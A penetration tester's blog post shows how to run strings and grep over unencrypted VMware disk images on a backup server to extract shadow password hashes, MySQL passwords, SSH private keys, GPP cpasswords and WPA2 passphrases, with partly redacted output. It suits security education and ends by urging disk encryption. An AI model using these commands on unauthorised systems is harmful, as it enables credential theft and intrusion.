Grabbing loot from vmdk’s
An acquaintance recently dropped me a line asking for some help with a gig she was working on. After sharing the background about the work she had performed so far, she said something which made me promptly sit up and listen… “I have access to backups… Can we do anything with vmdk’s?”. Needless to say, she had my undivided attention and I was only too happy to assist. ;)
Quick note… I haven’t seen anyone else using or discussing this technique, so if you find it helpful, or have some other great ideas on expanding this method, please let me know.
First thing’s first; are the vmdk’s encrypted?
1 |
xerubus@omerta:~/offsec/forensics$ strings db-01-nix.vmdk| less |
If the vmdk’s are encrypted, the output would look similar to the following:
1 2 |
KMDV vmware:key/list/(pair/(null/%3cVMWARE%2dEMPTYSTRING%3e,HMAC%2dSHA%2d1,crDlC%2fIHMYUI%2bCoO<redacted>%2bW0kCqZ8UmLNek%2fDpfQHNEbblV729qSuLngA0g%2bGN2xVmXcAfQ0R0%3d)) |
Our output however was as follows:
1 2 3 4 5 6 7 8 |
KDMV # Disk DescriptorFile version=1 CID=4073af66 parentCID=ffffffff isNativeSnapshot="no" createType="monolithicSparse" ---snip--- |
In most cases, if you are lucky enough to have access to unencrypted vmdk’s, you would simply copy the images, mount them, and start your normal forensics process to extract your loot. I will cover that scenario in a separate vmdk forensics writeup, but what if we only had access to the vmdk’s on a backup or similar server, and we were prohibited from copying or transferring the images? Enter stage left strings
.
The following technique works on both data at rest, as well as live running virtual boxen. All of the following commands were run as a standard user with no escalated or root privileges, and as you will see we still gain full access to the privileged data.
db-01-nix.vmdk: *nix host examples.
When pentesting a *nix box, the holy grail is, in most cases, the contents of the shadow file. Normally this is not readable due to it containing the hashed passwords of all users on the system, including root
. So, it’s only fitting that the first example for my strings
technique is to grab the user hashes.
1 2 3 4 5 6 7 8 9 |
xerubus@omerta:~/offsec/forensics$ strings db-01-nix.vmdk | grep -i '[a-zA-Z0-9]:\$6' | less root:$6$vMRinJ0E$pZ8<redacted>A5dkpxAgdR0:16515:0:99999:7::: devnull:$6$5dkM219V$xArJjwsr<redacted>niwlSlBkoqj0:16545:0:99999:7::: errorlevel:$6$RWS.drAF$K0zBxq0<redacted>Rv0UbdzSxC.Qt0:16515:0:99999:7::: medtest:$6$IsaMB9CW$2egZ<redacted>LLybG7PHFVp..:16515:0:99999:7::: [T:$6. ,8$4'6-9:$6.1*?#XpHhS~AeNlZrEbS [T:$6. ---snip--- |
Judging by the naming convention of the vmdk file, it is safe to assume that our host could be a database server. Let’s check if the mysql default password has been set.
1 2 3 4 5 |
xerubus@omerta:~/offsec/forensics$ strings db-01-nix.vmdk | grep -iF 'mysql.default_password =' | less mysql.default_password = <redacted> mysql.default_password = <redacted> mysql.default_password = <redacted> ---snip--- |
So how about something a little left field? What if we could read SSH RSA private keys?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
xerubus@omerta:~/offsec/forensics$ strings db-01-nix.vmdk | grep -iFn 'BEGIN RSA' 91424:-----BEGIN RSA PRIVATE 325914:-----BEGIN RSA PRIVATE 1090209:-----BEGIN RSA PRIVATE KEY----- 3014614:-----BEGIN RSA PRIVATE KEY----- 8029458:-----BEGIN RSA PRIVATE 9196214:-----BEGIN RSA PRIVATE 12194221:-----BEGIN RSA PRIVATE xerubus@omerta:~/offsec/forensics$ strings db-01-nix.vmdk| sed -n '3014614,3014700p' -----BEGIN RSA PRIVATE KEY----- WBXWDN8sGSXBY7vLLjgR7jDS+NfrQ0evnKd0S+SSa6klkVgA8qqFJGj6W9mEU0Dh fBZ8s7smD5bvVUdCJmXVJxStgbOAxua17ZD+k+MI6g2lpbiINth3Bu2vQ/cxjPzS yZvOGa0CW9M67NPgcgRv3+HhM0d4sT3nr7lJcmcoaATHaE6ponSF4Ex01or+RvlB ZLyyzPRK1yFMCp63wRXdc4cR3HyNViKvbgZXaWWlZW65933qnkPRERlP0AbaHQwe <redacted> CZ79oneK1zj88AjJ50oYd2iESxFN2MtsCF1CLnmpbBIdJ5v8YBSfmDlElkndRVmu obuMs3D7M0tzIMk8DT/7JS6m9NvYAJDDH7od4SHfzjZFhxRH6j86nQ== -----END RSA PRIVATE KEY----- ---snip--- |
med-01-win.vmdk: Windows host examples.
The same technique also works for Windows hosts. Unfortunately obtaining the hashes will need to occur via normal forensics extraction of the hives, but that’s not to say that there isn’t other information to be found.
1 2 3 4 5 6 7 |
xerubus@omerta:~/offsec/forensics$ strings med-01-win.vmdk | grep -iF "Password" | less ---snip--- PasswordCharacter WriteElementString(@"EncryptedPassword", @"", ((global::System.String)o.@EncryptedPassword)); <EncryptedPassword><redacted>6FA4C3<redacted></EncryptedPassword> <EncryptedPassword><redacted>183DD1<redacted></EncryptedPassword> <EncryptedPassword><redacted>C794E1<redacted></EncryptedPassword> |
Unfortunately I am unable to share exactly what application those md5 hardcoded hashes are from due to a very solid disclosure agreement. Needless to say however, securing medical devices is an ongoing challenge for the health industry, and still remains a very steep learning curve.
Moving on… GPP passwords anyone?
1 2 |
xerubus@omerta:~/offsec/forensics$ strings med-01-win.vmdk | grep -iF "cpassword=" <Properties action="C" fullName="" description="" cpassword="aGH<redacted>qesg2" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" userName="MedITAdmin"/> |
And last but not least, how about some AES keys and WPA2 PSK’s?
1 2 |
xerubus@omerta:~/offsec/forensics$ strings med-01-win.vmdk | grep -iF 'Passphrase' <Configuration><Communication><Interface alias="wlan"><ProfileList count="1"><Profile id="1" name="Profile 1"><Application><REDACTED type="REDACTED"><Hostname>med-01-win</Hostname><Remoteport>REDACTED</Remoteport><Localport>42</Localport><AES><Key length="128">REDACTED</Key></AES></REDACTED></Application><ApplicationProtocols><DCMP><Link><RemoteHost>med-01-REDACTED</RemoteHost><ConnectionMode>Client</ConnectionMode><Port> REDACTED </Port></Link><Authentication><Local><CHAP-SHA256><Passphrase> REDACTED </Passphrase></CHAP-SHA256></Local><Remote><NULL /><CHAP-SHA256><Passphrase> REDACTED </Passphrase></CHAP-SHA256></Remote></Authentication></DCMP></ApplicationProtocols><Network><DHCP>False</DHCP></Network><Datalink><WLAN802dot11><RegDom802dot11d>False</RegDom802dot11d><WirelessMode>bg</WirelessMode><APSelection><SSID> REDACTED </SSID></APSelection><Security><WPA type="WPA2"><Encryption>AES</Encryption><PSK><Passphrase format="ASCII"> REDACTED </Passphrase></PSK></WPA></Security></WLAN802dot11></Datalink></Profile></ProfileList></Interface></Communication></Configuration> |
Moral of the story? Encrypt your vmdk’s! The potential of loot grabbing with this technique is very high, and only limited to your knowledge of operating systems, data storage, and knowing what to search for. With some simple scripting, it is very easy to use this method to quickly search for ‘common’ information like hashes, passwords, serial numbers, configuration variables and the like.
Until next time, tight lines and happy hacking.